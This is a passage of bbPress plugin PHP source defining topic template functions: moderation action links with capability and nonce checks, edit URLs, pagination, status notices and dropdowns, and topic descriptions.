		if ( in_array( $topic_status, bbp_get_non_public_topic_statuses(), true ) ) {

			// Close link shouldn't be visible on trashed/spammed/pending topics
			unset( $r['links']['close'] );

			// Spam link shouldn't be visible on trashed topics
			if ( bbp_get_trash_status_id() === $topic_status ) {
				unset( $r['links']['spam'] );

			// Trash link shouldn't be visible on spam topics
			} elseif ( bbp_get_spam_status_id() === $topic_status ) {
				unset( $r['links']['trash'] );
			}
		}

		// Process the admin links
		$links  = implode( $r['sep'], array_filter( $r['links'] ) );
		$retval = $r['before'] . $links . $r['after'];

		// Filter & return
		return apply_filters( 'bbp_get_topic_admin_links', $retval, $r, $args );
	}

/**
 * Output the edit link of the topic
 *
 * @since 2.0.0 bbPress (r2727)
 *
 * @param array $args See {@link bbp_get_topic_edit_link()}
 */
function bbp_topic_edit_link( $args = array() ) {
	echo bbp_get_topic_edit_link( $args );
}

	/**
	 * Return the edit link of the topic
	 *
	 * @since 2.0.0 bbPress (r2727)
	 *
	 * @param array $args This function supports these args:
	 *  - id: Optional. Topic id
	 *  - link_before: Before the link
	 *  - link_after: After the link
	 *  - edit_text: Edit text
	 * @return string Topic edit link
	 */
	function bbp_get_topic_edit_link( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'id'           => 0,
			'link_before'  => '',
			'link_after'   => '',
			'edit_text'    => esc_html__( 'Edit', 'bbpress' )
		), 'get_topic_edit_link' );

		// Get the topic
		$topic = bbp_get_topic( $r['id'] );

		// Bypass check if user has caps
		if ( ! current_user_can( 'edit_others_topics' ) ) {

			// User cannot edit or it is past the lock time
			if ( empty( $topic ) || ! current_user_can( 'edit_topic', $topic->ID ) || bbp_past_edit_lock( $topic->post_date_gmt ) ) {
				return;
			}
		}

		// Get uri
		$uri = bbp_get_topic_edit_url( $topic->ID );

		// Bail if no uri
		if ( empty( $uri ) ) {
			return;
		}

		$retval = $r['link_before'] . '<a href="' . esc_url( $uri ) . '" class="bbp-topic-edit-link">' . $r['edit_text'] . '</a>' . $r['link_after'];

		// Filter & return
		return apply_filters( 'bbp_get_topic_edit_link', $retval, $r, $args );
	}

/**
 * Output URL to the topic edit page
 *
 * @since 2.0.0 bbPress (r2753)
 *
 * @param int $topic_id Optional. Topic id
 */
function bbp_topic_edit_url( $topic_id = 0 ) {
	echo esc_url( bbp_get_topic_edit_url( $topic_id ) );
}
	/**
	 * Return URL to the topic edit page
	 *
	 * @since 2.0.0 bbPress (r2753)
	 *
	 * @param int $topic_id Optional. Topic id
	 * @return string Topic edit url
	 */
	function bbp_get_topic_edit_url( $topic_id = 0 ) {

		$topic = bbp_get_topic( $topic_id );
		if ( empty( $topic ) ) {
			return;
		}

		// Remove view=all link from edit
		$topic_link = bbp_remove_view_all( bbp_get_topic_permalink( $topic_id ) );

		// Pretty permalinks, previously used `bbp_use_pretty_urls()`
		// https://bbpress.trac.wordpress.org/ticket/3054
		if ( false === strpos( $topic_link, '?' ) ) {
			$url = trailingslashit( $topic_link ) . bbp_get_edit_slug();
			$url = user_trailingslashit( $url );

		// Unpretty permalinks
		} else {
			$url = add_query_arg( array(
				bbp_get_topic_post_type() => $topic->post_name,
				bbp_get_edit_rewrite_id() => '1'
			), $topic_link );
		}

		// Maybe add view=all
		$url = bbp_add_view_all( $url );

		// Filter & return
		return apply_filters( 'bbp_get_topic_edit_url', $url, $topic_id );
	}

/**
 * Output the trash link of the topic
 *
 * @since 2.0.0 bbPress (r2727)
 *
 * @param array $args See {@link bbp_get_topic_trash_link()}
 */
function bbp_topic_trash_link( $args = array() ) {
	echo bbp_get_topic_trash_link( $args );
}

	/**
	 * Return the trash link of the topic
	 *
	 * @since 2.0.0 bbPress (r2727)
	 *
	 * @param array $args This function supports these args:
	 *  - id: Optional. Topic id
	 *  - link_before: Before the link
	 *  - link_after: After the link
	 *  - sep: Links separator
	 *  - trash_text: Trash text
	 *  - restore_text: Restore text
	 *  - delete_text: Delete text
	 * @return string Topic trash link
	 */
	function bbp_get_topic_trash_link( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'id'           => 0,
			'link_before'  => '',
			'link_after'   => '',
			'sep'          => ' | ',
			'trash_text'   => esc_html__( 'Trash',   'bbpress' ),
			'restore_text' => esc_html__( 'Restore', 'bbpress' ),
			'delete_text'  => esc_html__( 'Delete',  'bbpress' )
		), 'get_topic_trash_link' );

		// Get topic
		$topic = bbp_get_topic( $r['id'] );

		// Bail if no topic or current user cannot delete
		if ( empty( $topic ) || ! current_user_can( 'delete_topic', $topic->ID ) ) {
			return;
		}

		$actions    = array();
		$trash_days = bbp_get_trash_days( bbp_get_topic_post_type() );

		if ( bbp_is_topic_trash( $topic->ID ) ) {
			$actions['untrash'] = '<a title="' . esc_attr__( 'Restore this item from the Trash', 'bbpress' ) . '" href="' . esc_url( wp_nonce_url( add_query_arg( array( 'action' => 'bbp_toggle_topic_trash', 'sub_action' => 'untrash', 'topic_id' => $topic->ID ) ), 'untrash-' . $topic->post_type . '_' . $topic->ID ) ) . '" class="bbp-topic-restore-link">' . $r['restore_text'] . '</a>';
		} elseif ( ! empty( $trash_days ) ) {
			$actions['trash']   = '<a title="' . esc_attr__( 'Move this item to the Trash',      'bbpress' ) . '" href="' . esc_url( wp_nonce_url( add_query_arg( array( 'action' => 'bbp_toggle_topic_trash', 'sub_action' => 'trash',   'topic_id' => $topic->ID ) ), 'trash-'   . $topic->post_type . '_' . $topic->ID ) ) . '" class="bbp-topic-trash-link">'   . $r['trash_text']   . '</a>';
		}

		if ( bbp_is_topic_trash( $topic->ID ) || empty( $trash_days ) ) {
			$actions['delete']  = '<a title="' . esc_attr__( 'Delete this item permanently',     'bbpress' ) . '" href="' . esc_url( wp_nonce_url( add_query_arg( array( 'action' => 'bbp_toggle_topic_trash', 'sub_action' => 'delete',  'topic_id' => $topic->ID ) ), 'delete-'  . $topic->post_type . '_' . $topic->ID ) ) . '" onclick="return confirm(\'' . esc_js( esc_html__( 'Are you sure you want to delete that permanently?', 'bbpress' ) ) . '\' );" class="bbp-topic-delete-link">' . $r['delete_text'] . '</a>';
		}

		// Process the admin links
		$retval = $r['link_before'] . implode( $r['sep'], $actions ) . $r['link_after'];

		// Filter & return
		return apply_filters( 'bbp_get_topic_trash_link', $retval, $r, $args );
	}

/**
 * Output the close link of the topic
 *
 * @since 2.0.0 bbPress (r2727)
 *
 * @param array $args See {@link bbp_get_topic_close_link()}
 */
function bbp_topic_close_link( $args = array() ) {
	echo bbp_get_topic_close_link( $args );
}

	/**
	 * Return the close link of the topic
	 *
	 * @since 2.0.0 bbPress (r2727)
	 *
	 * @param array $args This function supports these args:
	 *  - id: Optional. Topic id
	 *  - link_before: Before the link
	 *  - link_after: After the link
	 *  - close_text: Close text
	 *  - open_text: Open text
	 * @return string Topic close link
	 */
	function bbp_get_topic_close_link( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'id'          => 0,
			'link_before' => '',
			'link_after'  => '',
			'sep'         => ' | ',
			'close_text'  => esc_html_x( 'Close', 'Close the topic', 'bbpress' ),
			'open_text'   => esc_html_x( 'Open',  'Open the topic', 'bbpress' )
		), 'get_topic_close_link' );

		// Get topic
		$topic = bbp_get_topic( $r['id'] );

		// Bail if no topic or current user cannot moderate
		if ( empty( $topic ) || ! current_user_can( 'moderate', $topic->ID ) ) {
			return;
		}

		$display = bbp_is_topic_open( $topic->ID ) ? $r['close_text'] : $r['open_text'];
		$uri     = add_query_arg( array( 'action' => 'bbp_toggle_topic_close', 'topic_id' => $topic->ID ) );
		$uri     = wp_nonce_url( $uri, 'close-topic_' . $topic->ID );
		$retval  = $r['link_before'] . '<a href="' . esc_url( $uri ) . '" class="bbp-topic-close-link">' . $display . '</a>' . $r['link_after'];

		// Filter & return
		return apply_filters( 'bbp_get_topic_close_link', $retval, $r, $args );
	}

/**
 * Output the approve link of the topic
 *
 * @since 2.6.0 bbPress (r5504)
 *
 * @param array $args See {@link bbp_get_topic_approve_link()}
 */
function bbp_topic_approve_link( $args = array() ) {
	echo bbp_get_topic_approve_link( $args );
}

	/**
	 * Return the approve link of the topic
	 *
	 * @since 2.6.0 bbPress (r5504)
	 *
	 * @param array $args This function supports these args:
	 *  - id: Optional. Topic id
	 *  - link_before: Before the link
	 *  - link_after: After the link
	 *  - sep: Separator between links
	 *  - approve_text: Approve text
	 *  - unapprove_text: Unapprove text
	 * @return string Topic approve link
	 */
	function bbp_get_topic_approve_link( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'id'             => 0,
			'link_before'    => '',
			'link_after'     => '',
			'sep'            => ' | ',
			'approve_text'   => esc_html_x( 'Approve',   'Approve the topic', 'bbpress' ),
			'unapprove_text' => esc_html_x( 'Unapprove', 'Unapprove the topic', 'bbpress' )
		), 'get_topic_approve_link' );

		// Get topic
		$topic = bbp_get_topic( $r['id'] );

		// Bail if no topic or current user cannot moderate
		if ( empty( $topic ) || ! current_user_can( 'moderate', $topic->ID ) ) {
			return;
		}

		$display = bbp_is_topic_pending( $topic->ID ) ? $r['approve_text'] : $r['unapprove_text'];
		$uri     = add_query_arg( array( 'action' => 'bbp_toggle_topic_approve', 'topic_id' => $topic->ID ) );
		$uri     = wp_nonce_url( $uri, 'approve-topic_' . $topic->ID );
		$retval  = $r['link_before'] . '<a href="' . esc_url( $uri ) . '" class="bbp-topic-approve-link">' . $display . '</a>' . $r['link_after'];

		// Filter & return
		return apply_filters( 'bbp_get_topic_approve_link', $retval, $r, $args );
	}

/**
 * Output the stick link of the topic
 *
 * @since 2.0.0 bbPress (r2754)
 *
 * @param array $args See {@link bbp_get_topic_stick_link()}
 */
function bbp_topic_stick_link( $args = array() ) {
	echo bbp_get_topic_stick_link( $args );
}

	/**
	 * Return the stick link of the topic
	 *
	 * @since 2.0.0 bbPress (r2754)
	 *
	 * @param array $args This function supports these args:
	 *  - id: Optional. Topic id
	 *  - link_before: Before the link
	 *  - link_after: After the link
	 *  - stick_text: Stick text
	 *  - unstick_text: Unstick text
	 *  - super_text: Stick to front text
	 *
	 * @return string Topic stick link
	 */
	function bbp_get_topic_stick_link( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'id'           => 0,
			'link_before'  => '',
			'link_after'   => '',
			'stick_text'   => esc_html__( 'Stick',      'bbpress' ),
			'unstick_text' => esc_html__( 'Unstick',    'bbpress' ),
			'super_text'   => esc_html__( '(to front)', 'bbpress' ),
		), 'get_topic_stick_link' );

		// Get topic
		$topic = bbp_get_topic( $r['id'] );

		// Bail if no topic or current user cannot moderate
		if ( empty( $topic ) || ! current_user_can( 'moderate', $topic->ID ) ) {
			return;
		}

		$is_sticky = bbp_is_topic_sticky( $topic->ID );

		$stick_uri = add_query_arg( array( 'action' => 'bbp_toggle_topic_stick', 'topic_id' => $topic->ID ) );
		$stick_uri = wp_nonce_url( $stick_uri, 'stick-topic_' . $topic->ID );

		$stick_display = ( true === $is_sticky ) ? $r['unstick_text'] : $r['stick_text'];
		$stick_display = '<a href="' . esc_url( $stick_uri ) . '" class="bbp-topic-sticky-link">' . $stick_display . '</a>';

		if ( empty( $is_sticky ) ) {
			$super_uri = add_query_arg( array( 'action' => 'bbp_toggle_topic_stick', 'topic_id' => $topic->ID, 'super' => 1 ) );
			$super_uri = wp_nonce_url( $super_uri, 'stick-topic_' . $topic->ID );

			$super_display = ' <a href="' . esc_url( $super_uri ) . '" class="bbp-topic-super-sticky-link">' . $r['super_text'] . '</a>';
		} else {
			$super_display = '';
		}

		// Combine the HTML into 1 string
		$retval = $r['link_before'] . $stick_display . $super_display . $r['link_after'];

		// Filter & return
		return apply_filters( 'bbp_get_topic_stick_link', $retval, $r, $args );
	}

/**
 * Output the merge link of the topic
 *
 * @since 2.0.0 bbPress (r2756)
 *
 * @param array $args
 */
function bbp_topic_merge_link( $args = array() ) {
	echo bbp_get_topic_merge_link( $args );
}

	/**
	 * Return the merge link of the topic
	 *
	 * @since 2.0.0 bbPress (r2756)
	 *
	 * @param array $args This function supports these args:
	 *  - id: Optional. Topic id
	 *  - link_before: Before the link
	 *  - link_after: After the link
	 *  - merge_text: Merge text
	 *
	 * @return string Topic merge link
	 */
	function bbp_get_topic_merge_link( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'id'           => 0,
			'link_before'  => '',
			'link_after'   => '',
			'merge_text'   => esc_html__( 'Merge', 'bbpress' ),
		), 'get_topic_merge_link' );

		// Get topic
		$topic = bbp_get_topic( $r['id'] );

		// Bail if no topic or current user cannot moderate
		if ( empty( $topic ) || ! current_user_can( 'moderate', $topic->ID ) ) {
			return;
		}

		$uri    = add_query_arg( array( 'action' => 'merge' ), bbp_get_topic_edit_url( $topic->ID ) );
		$retval = $r['link_before'] . '<a href="' . esc_url( $uri ) . '" class="bbp-topic-merge-link">' . $r['merge_text'] . '</a>' . $r['link_after'];

		// Filter & return
		return apply_filters( 'bbp_get_topic_merge_link', $retval, $r, $args );
	}

/**
 * Output the spam link of the topic
 *
 * @since 2.0.0 bbPress (r2727)
 *
 * @param array $args See {@link bbp_get_topic_spam_link()}
 */
function bbp_topic_spam_link( $args = array() ) {
	echo bbp_get_topic_spam_link( $args );
}

	/**
	 * Return the spam link of the topic
	 *
	 * @since 2.0.0 bbPress (r2727)
	 *
	 * @param array $args This function supports these args:
	 *  - id: Optional. Topic id
	 *  - link_before: Before the link
	 *  - link_after: After the link
	 *  - spam_text: Spam text
	 *  - unspam_text: Unspam text
	 *
	 * @return string Topic spam link
	 */
	function bbp_get_topic_spam_link( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'id'           => 0,
			'link_before'  => '',
			'link_after'   => '',
			'sep'          => ' | ',
			'spam_text'    => esc_html__( 'Spam',   'bbpress' ),
			'unspam_text'  => esc_html__( 'Unspam', 'bbpress' )
		), 'get_topic_spam_link' );

		$topic = bbp_get_topic( $r['id'] );

		if ( empty( $topic ) || ! current_user_can( 'moderate', $topic->ID ) ) {
			return;
		}

		$display = bbp_is_topic_spam( $topic->ID ) ? $r['unspam_text'] : $r['spam_text'];
		$uri     = add_query_arg( array( 'action' => 'bbp_toggle_topic_spam', 'topic_id' => $topic->ID ) );
		$uri     = wp_nonce_url( $uri, 'spam-topic_' . $topic->ID );
		$retval  = $r['link_before'] . '<a href="' . esc_url( $uri ) . '" class="bbp-topic-spam-link">' . $display . '</a>' . $r['link_after'];

		// Filter & return
		return apply_filters( 'bbp_get_topic_spam_link', $retval, $r, $args );
	}

/**
 * Output the link to go directly to the reply form
 *
 * @since 2.4.0 bbPress (r4966)
 *
 * @param array $args
 */
function bbp_topic_reply_link( $args = array() ) {
	echo bbp_get_topic_reply_link( $args );
}

	/**
	 * Return the link to go directly to the reply form
	 *
	 * @since 2.4.0 bbPress (r4966)
	 *
	 * @param array $args Arguments
	 *
	 * @return string Link for a reply to a topic
	 */
	function bbp_get_topic_reply_link( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'id'          => 0,
			'link_before' => '',
			'link_after'  => '',
			'reply_text'  => esc_html_x( 'Reply', 'verb', 'bbpress' ),
			'add_below'   => 'post',
			'respond_id'  => 'new-reply-' . bbp_get_topic_id(),
		), 'get_topic_reply_link' );

		// Get the topic to use it's ID and post_parent
		$topic = bbp_get_topic( $r['id'] );

		// Bail if no topic or user cannot reply
		if ( empty( $topic ) || bbp_is_single_reply() || ! bbp_current_user_can_access_create_reply_form() ) {
			return;
		}

		// Only add onclick if replies are threaded
		$onclick = bbp_thread_replies()
			? ' onclick="return addReply.cancelForm();"'
			: '';

		// Add $uri to the array, to be passed through the filter
		$r['uri'] = remove_query_arg( array( 'bbp_reply_to', '_wpnonce' ) ) . '#new-post';
		$retval   = $r['link_before'] . '<a role="button" href="' . esc_url( $r['uri'] ) . '" class="bbp-topic-reply-link"' . $onclick . '>' . $r['reply_text'] . '</a>' . $r['link_after'];

		// Filter & return
		return apply_filters( 'bbp_get_topic_reply_link', $retval, $r, $args );
	}

/** Topic Pagination **********************************************************/

/**
 * Return the base URL used inside of pagination links
 *
 * @since 2.6.0 bbPress (r6402)
 *
 * @param int $forum_id
 * @return string
 */
function bbp_get_topics_pagination_base( $forum_id = 0 ) {

	// If pretty permalinks are enabled, make our pagination pretty
	if ( bbp_use_pretty_urls() ) {

		// User's topics
		if ( bbp_is_single_user_topics() ) {
			$base = bbp_get_user_topics_created_url( bbp_get_displayed_user_id() );

		// User's engagements
		} elseif ( bbp_is_single_user_engagements() ) {
			$base = bbp_get_user_engagements_url( bbp_get_displayed_user_id() );

		// User's favorites
		} elseif ( bbp_is_favorites() ) {
			$base = bbp_get_favorites_permalink( bbp_get_displayed_user_id() );

		// User's subscriptions
		} elseif ( bbp_is_subscriptions() ) {
			$base = bbp_get_subscriptions_permalink( bbp_get_displayed_user_id() );

		// Root profile page
		} elseif ( bbp_is_single_user() ) {
			$base = bbp_get_user_profile_url( bbp_get_displayed_user_id() );

		// View
		} elseif ( bbp_is_single_view() ) {
			$base = bbp_get_view_url();

		// Topic tag
		} elseif ( bbp_is_topic_tag() ) {
			$base = bbp_get_topic_tag_link();

		// Page or single post
		} elseif ( is_page() || is_single() ) {
			$base = get_permalink();

		// Forum archive
		} elseif ( bbp_is_forum_archive() ) {
			$base = bbp_get_forums_url();

		// Topic archive
		} elseif ( bbp_is_topic_archive() ) {
			$base = bbp_get_topics_url();

		// Default
		} else {
			$base = get_permalink( $forum_id );
		}

		// Use pagination base
		$base = trailingslashit( $base ) . user_trailingslashit( bbp_get_paged_slug() . '/%#%/' );

	// Unpretty pagination
	} else {
		$base = add_query_arg( 'paged', '%#%' );
	}

	// Filter & return
	return apply_filters( 'bbp_get_topics_pagination_base', $base, $forum_id );
}

/**
 * Output the pagination count
 *
 * The results are unescaped by design, to allow them to be filtered freely via
 * the 'bbp_get_forum_pagination_count' filter.
 *
 * @since 2.0.0 bbPress (r2519)
 */
function bbp_forum_pagination_count() {
	echo bbp_get_forum_pagination_count();
}
	/**
	 * Return the pagination count
	 *
	 * @since 2.0.0 bbPress (r2519)
	 *
	 * @return string Forum Pagination count
	 */
	function bbp_get_forum_pagination_count() {
		$bbp = bbpress();

		// Define local variable(s)
		$retstr = '';

		// Topic query exists
		if ( ! empty( $bbp->topic_query ) ) {

			// Set pagination values
			$count_int = intval( $bbp->topic_query->post_count );
			$start_num = intval( ( $bbp->topic_query->paged - 1 ) * $bbp->topic_query->posts_per_page ) + 1;
			$total_int = ! empty( $bbp->topic_query->found_posts )
				? (int) $bbp->topic_query->found_posts
				: $count_int;

			// Format numbers for display
			$count_num = bbp_number_format( $count_int );
			$from_num  = bbp_number_format( $start_num );
			$total     = bbp_number_format( $total_int );
			$to_num    = bbp_number_format( ( $start_num + ( $bbp->topic_query->posts_per_page - 1 ) > $bbp->topic_query->found_posts )
				? $bbp->topic_query->found_posts
				: $start_num + ( $bbp->topic_query->posts_per_page - 1 ) );

			// Several topics in a forum with a single page
			if ( empty( $to_num ) ) {
				$retstr = sprintf( _n( 'Viewing %1$s topic', 'Viewing %1$s topics', $total_int, 'bbpress' ), $total );

			// Several topics in a forum with several pages
			} else {
				$retstr = sprintf( _n( 'Viewing topic %2$s (of %4$s total)', 'Viewing %1$s topics - %2$s through %3$s (of %4$s total)', $total_int, 'bbpress' ), $count_num, $from_num, $to_num, $total );
			}

			// Escape results of _n()
			$retstr = esc_html( $retstr );
		}

		// Filter & return
		return apply_filters( 'bbp_get_forum_pagination_count', $retstr );
	}

/**
 * Output pagination links
 *
 * @since 2.0.0 bbPress (r2519)
 */
function bbp_forum_pagination_links() {
	echo bbp_get_forum_pagination_links();
}
	/**
	 * Return pagination links
	 *
	 * @since 2.0.0 bbPress (r2519)
	 *
	 * @return string Pagination links
	 */
	function bbp_get_forum_pagination_links() {
		$bbp = bbpress();

		if ( empty( $bbp->topic_query ) ) {
			return false;
		}

		// Filter & return
		return apply_filters( 'bbp_get_forum_pagination_links', $bbp->topic_query->pagination_links );
	}

/**
 * Displays topic notices
 *
 * @since 2.0.0 bbPress (r2744)
 */
function bbp_topic_notices() {

	// Bail if not viewing a topic
	if ( ! bbp_is_single_topic() ) {
		return;
	}

	// Get the topic_status
	$topic_status = bbp_get_topic_status();

	// Get the topic status
	switch ( $topic_status ) {

		// Spam notice
		case bbp_get_spam_status_id() :
			$notice_text = esc_html__( 'This topic is marked as spam.', 'bbpress' );
			break;

		// Trashed notice
		case bbp_get_trash_status_id() :
			$notice_text = esc_html__( 'This topic is in the trash.', 'bbpress' );
			break;

		// Pending notice
		case bbp_get_pending_status_id() :
			$notice_text = esc_html__( 'This topic is pending moderation.', 'bbpress' );
			break;

		// Standard status
		default :
			$notice_text = '';
			break;
	}

	// Filter notice text and bail if empty
	$notice_text = apply_filters( 'bbp_topic_notices', $notice_text, $topic_status, bbp_get_topic_id() );
	if ( empty( $notice_text ) ) {
		return;
	}

	bbp_add_error( 'topic_notice', $notice_text, 'message' );
}

/**
 * Displays topic type select box (normal/sticky/super sticky)
 *
 * @since 2.0.0 bbPress (r2784)
 *
 * @deprecated 2.4.0 bbPress (r5059)
 *
 * @param $args This function supports these arguments:
 *  - select_id: Select id. Defaults to bbp_stick_topic
 *  - tab: Deprecated. Tabindex
 *  - topic_id: Topic id
 *  - selected: Override the selected option
 */
function bbp_topic_type_select( $args = array() ) {
	echo bbp_get_form_topic_type_dropdown( $args );
}

/**
 * Displays topic type select box (normal/sticky/super sticky)
 *
 * @since 2.4.0 bbPress (r5059)
 *
 * @param $args This function supports these arguments:
 *  - select_id: Select id. Defaults to bbp_stick_topic
 *  - tab: Deprecated. Tabindex
 *  - topic_id: Topic id
 *  - selected: Override the selected option
 */
function bbp_form_topic_type_dropdown( $args = array() ) {
	echo bbp_get_form_topic_type_dropdown( $args );
}
	/**
	 * Returns topic type select box (normal/sticky/super sticky)
	 *
	 * @since 2.4.0 bbPress (r5059)
	 *
	 * @param $args This function supports these arguments:
	 *  - select_id: Select id. Defaults to bbp_stick_topic
	 *  - tab: Deprecated. Tabindex
	 *  - topic_id: Topic id
	 *  - selected: Override the selected option
	 */
	function bbp_get_form_topic_type_dropdown( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'select_id'    => 'bbp_stick_topic',
			'select_class' => 'bbp_dropdown',
			'tab'          => false,
			'topic_id'     => 0,
			'selected'     => false
		), 'topic_type_select' );

		// No specific selected value passed
		if ( empty( $r['selected'] ) ) {

			// Post value is passed
			if ( bbp_is_topic_form_post_request() && isset( $_POST[ $r['select_id'] ] ) ) {
				$r['selected'] = sanitize_key( $_POST[ $r['select_id'] ] );

			// No Post value passed
			} else {

				// Edit topic
				if ( bbp_is_single_topic() || bbp_is_topic_edit() ) {

					// Get current topic id
					$r['topic_id'] = bbp_get_topic_id( $r['topic_id'] );

					// Topic is super sticky
					if ( bbp_is_topic_super_sticky( $r['topic_id'] ) ) {
						$r['selected'] = 'super';

					// Topic is sticky or normal
					} else {
						$r['selected'] = bbp_is_topic_sticky( $r['topic_id'], false )
							? 'stick'
							: 'unstick';
					}
				}
			}
		}

		// Start an output buffer, we'll finish it after the select loop
		ob_start(); ?>

		<select name="<?php echo esc_attr( $r['select_id'] ); ?>" id="<?php echo esc_attr( $r['select_id'] ); ?>_select" class="<?php echo esc_attr( $r['select_class'] ); ?>"<?php bbp_tab_index_attribute( $r['tab'] ); ?>>

			<?php foreach ( bbp_get_topic_types( $r['topic_id'] ) as $key => $label ) : ?>

				<option value="<?php echo esc_attr( $key ); ?>"<?php selected( $key, $r['selected'] ); ?>><?php echo esc_html( $label ); ?></option>

			<?php endforeach; ?>

		</select>

		<?php

		// Filter & return
		return apply_filters( 'bbp_get_form_topic_type_dropdown', ob_get_clean(), $r, $args );
	}

/**
 * Output value topic status dropdown
 *
 * @since 2.4.0 bbPress (r5059)
 *
 * @param $args This function supports these arguments:
 *  - select_id: Select id. Defaults to bbp_topic_status
 *  - tab: Deprecated. Tabindex
 *  - topic_id: Topic id
 *  - selected: Override the selected option
 */
function bbp_form_topic_status_dropdown( $args = array() ) {
	echo bbp_get_form_topic_status_dropdown( $args );
}
	/**
	 * Returns topic status dropdown
	 *
	 * This dropdown is only intended to be seen by users with the 'moderate'
	 * capability. Because of this, no additional capability checks are performed
	 * within this function to check available topic statuses.
	 *
	 * @since 2.4.0 bbPress (r5059)
	 *
	 * @param $args This function supports these arguments:
	 *  - select_id: Select id. Defaults to bbp_topic_status
	 *  - tab: Deprecated. Tabindex
	 *  - topic_id: Topic id
	 *  - selected: Override the selected option
	 */
	function bbp_get_form_topic_status_dropdown( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'select_id'    => 'bbp_topic_status',
			'select_class' => 'bbp_dropdown',
			'tab'          => false,
			'topic_id'     => 0,
			'selected'     => false
		), 'topic_open_close_select' );

		// No specific selected value passed
		if ( empty( $r['selected'] ) ) {

			// Post value is passed
			if ( bbp_is_topic_form_post_request() && isset( $_POST[ $r['select_id'] ] ) ) {
				$r['selected'] = sanitize_key( $_POST[ $r['select_id'] ] );

			// No Post value was passed
			} else {

				// Edit topic
				if ( bbp_is_topic_edit() ) {
					$r['topic_id'] = bbp_get_topic_id( $r['topic_id'] );
					$r['selected'] = bbp_get_topic_status( $r['topic_id'] );

				// New topic
				} else {
					$r['selected'] = bbp_get_public_status_id();
				}
			}
		}

		// Start an output buffer, we'll finish it after the select loop
		ob_start(); ?>

		<select name="<?php echo esc_attr( $r['select_id'] ) ?>" id="<?php echo esc_attr( $r['select_id'] ); ?>_select" class="<?php echo esc_attr( $r['select_class'] ); ?>"<?php bbp_tab_index_attribute( $r['tab'] ); ?>>

			<?php foreach ( bbp_get_topic_statuses( $r['topic_id'] ) as $key => $label ) : ?>

				<option value="<?php echo esc_attr( $key ); ?>"<?php selected( $key, $r['selected'] ); ?>><?php echo esc_html( $label ); ?></option>

			<?php endforeach; ?>

		</select>

		<?php

		// Filter & return
		return apply_filters( 'bbp_get_form_topic_status_dropdown', ob_get_clean(), $r, $args );
	}

/** Single Topic **************************************************************/

/**
 * Output a fancy description of the current topic, including total topics,
 * total replies, and last activity.
 *
 * @since 2.0.0 bbPress (r2860)
 *
 * @param array $args See {@link bbp_get_single_topic_description()}
 */
function bbp_single_topic_description( $args = array() ) {
	echo bbp_get_single_topic_description( $args );
}
	/**
	 * Return a fancy description of the current topic, including total topics,
	 * total replies, and last activity.
	 *
	 * @since 2.0.0 bbPress (r2860)
	 *
	 * @param array $args This function supports these arguments:
	 *  - topic_id: Topic id
	 *  - before: Before the text
	 *  - after: After the text
	 *  - size: Size of the avatar
	 * @return string Filtered topic description
	 */
	function bbp_get_single_topic_description( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'topic_id'  => 0,
			'before'    => '<div class="bbp-template-notice info"><ul><li class="bbp-topic-description">',
			'after'     => '</li></ul></div>',
			'size'      => 14
		), 'get_single_topic_description' );

		// Validate topic_id
		$topic_id = bbp_get_topic_id( $r['topic_id'] );

		// Unhook the 'view all' query var adder
		remove_filter( 'bbp_get_topic_permalink', 'bbp_add_view_all' );

		// Build the topic description
		$vc_int      = bbp_get_topic_voice_count   ( $topic_id, true  );
		$voice_count = bbp_get_topic_voice_count   ( $topic_id, false );
		$reply_count = bbp_get_topic_replies_link  ( $topic_id        );
		$time_since  = bbp_get_topic_freshness_link( $topic_id        );

		// Singular/Plural
		$voice_count = sprintf( _n( '%s voice', '%s voices', $vc_int, 'bbpress' ), $voice_count );

		// Topic has activity (could be from reply or topic author)
		$last_active = bbp_get_topic_last_active_id( $topic_id );
		if ( ! empty( $vc_int ) && ! empty( $last_active ) ) {
			$last_updated_by = bbp_get_author_link( array( 'post_id' => $last_active, 'size' => $r['size'] ) );
			$retstr          = sprintf( esc_html__( 'This topic has %1$s, %2$s, and was last updated %3$s by %4$s.', 'bbpress' ), $reply_count, $voice_count, $time_since, $last_updated_by );

		// Topic has no replies
		} elseif ( ! empty( $vc_int ) && ! empty( $reply_count ) ) {
			$retstr = sprintf( esc_html__( 'This topic has %1$s and %2$s.', 'bbpress' ), $voice_count, $reply_count );

		// Topic has no replies and no voices
		} elseif ( empty( $vc_int ) && empty( $reply_count ) ) {
			$retstr = esc_html__( 'This topic has no replies.', 'bbpress' );

		// Topic is pending
		} elseif ( bbp_get_topic_status( $topic_id ) === bbp_get_pending_status_id() ) {
			$retstr = esc_html__( 'This topic is pending moderation.', 'bbpress' );

		// Fallback
		} else {
			$retstr = esc_html__( 'This topic is empty.', 'bbpress' );
		}

		// Add the 'view all' filter back
		add_filter( 'bbp_get_topic_permalink', 'bbp_add_view_all' );

		// Combine the elements together
		$retstr = $r['before'] . $retstr . $r['after'];

		// Filter & return
		return apply_filters( 'bbp_get_single_topic_description', $retstr, $r, $args );
	}

/** Topic Tags ****************************************************************/

/**
 * Output the unique id of the topic tag taxonomy
 *
 * @since 2.0.0 bbPress (r3348)
 */
function bbp_topic_tag_tax_id() {
	echo bbp_get_topic_tag_tax_id();
}
	/**
	 * Return the unique id of the topic tag taxonomy
	 *
	 * @since 2.0.0 bbPress (r3348)
	 *
	 * @return string The unique topic tag taxonomy
	 */
	function bbp_get_topic_tag_tax_id() {

		// Filter & return
		return apply_filters( 'bbp_get_topic_tag_tax_id', bbpress()->topic_tag_tax_id );
	}

/**
 * Return array of labels used by the topic-tag taxonomy
 *
 * @since 2.5.0 bbPress (r5129)
 *
 * @return array
 */
function bbp_get_topic_tag_tax_labels() {

	// Filter & return
	return (array) apply_filters( 'bbp_get_topic_tag_tax_labels', array(
		'name'                       => esc_attr__( 'Topic Tags',                      'bbpress' ),
